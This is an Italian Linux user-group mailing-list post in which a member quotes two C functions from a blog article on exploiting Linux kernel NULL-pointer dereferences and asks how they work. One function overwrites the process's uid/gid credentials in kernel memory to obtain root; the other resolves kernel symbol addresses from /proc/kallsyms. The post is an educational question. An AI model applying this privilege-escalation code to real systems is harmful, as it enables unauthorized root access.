linux user group brescia

immagine del castello

Archivio della mailing list

[LugBS] Problemi di memoria

Carlo Bertoldi mcbain a tiscali.it
Gio 15 Apr 2010 15:14:07 UTC
Ciao,
 ho un problema: oggi mi sono perso nel leggere questo articolo:
http://blog.ksplice.com/2010/04/exploiting-kernel-null-dereferences/
in cui viene spiegato come è stato scritto l'exploit per sfruttare i
puntatori a null presenti nel kernel di linux.
Ora nell'exploit di esempio c'è la seguente funzione:

/* This is the pattern-matching trick for older kernels. */
void old_get_root(void) {
    int i;
    unsigned *p = *(unsigned**)(((unsigned long)&i) & ~8191);

    for (i = 0; i < 1024-13; i++) {
        if (p[0] == uid && p[1] == uid &&
            p[2] == uid && p[3] == uid &&
            p[4] == gid && p[5] == gid &&
            p[6] == gid && p[7] == gid) {
            p[0] = p[1] = p[2] = p[3] = 0;
            p[4] = p[5] = p[6] = p[7] = 0;
            p = (unsigned *) ((char *)(p + 8) + sizeof(void *));
            p[0] = p[1] = p[2] = ~0;
            break;
        }
        p++;
    }
}

Questa funzione dovrebbe fare la stessa cosa che fa la seguente per i
kernel >= 2.6.29

void *get_ksym(char *name) {
    FILE *f = fopen("/proc/kallsyms", "rb");
    char c, sym[512];
    void *addr;
    int ret;

    while(fscanf(f, "%p %c %s\n", &addr, &c, sym) > 0) {
        if (!strcmp(sym, name))
            return addr;
    }
    return NULL;
}

il cui funzionamento non mi è per niente chiaro. Lo scopo è quello di
trovare il puntatore ad una certa funzione (presumo)

L'unica cosa che sono riuscito ad intuire è che quel 8191 ha a che
fare con la dimensione di 8K dello stack (sempre che non abbia preso
una
cantonata).
Qualcuno mi potrebbe illuminare?

Grazie,
 Carlo
-- 
È molto più bello sapere qualcosa di tutto, che sapere tutto di una cosa.

Blaise Pascal




Maggiori informazioni sulla lista Lug